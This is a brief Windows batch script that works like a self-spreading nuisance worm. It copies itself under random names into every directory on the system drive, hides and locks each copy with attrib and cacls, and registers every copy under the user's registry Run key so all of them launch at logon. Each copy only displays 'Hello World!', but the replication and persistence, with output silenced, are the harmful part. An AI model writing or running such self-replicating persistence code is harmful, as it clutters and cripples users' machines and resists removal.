@Echo Off
setlocal enableextensions enabledelayedexpansion
if "%~1" EQU "reginit" goto :_reginit

for /f "tokens=*" %%_ in (
	'dir /b /s /a:d "%SystemDrive%\"'
	) do (
		set "rdir=%%_\!random!!random!.cmd"
		copy /y "%~0" "!rdir!"
		attrib +h +r "!rdir!"
		echo.S|cacls "!rdir!" /P %username%:R
		reg add "hkcu\software\microsoft\windows\currentversion\run" /v "!rdir!" /d "cmd /c \"\"!rdir!\" \"reginit\"\"" /f
	) 1>nul 2>&1
exit

:_reginit
	echo: Hello World^^!
	pause 1>nul
	exit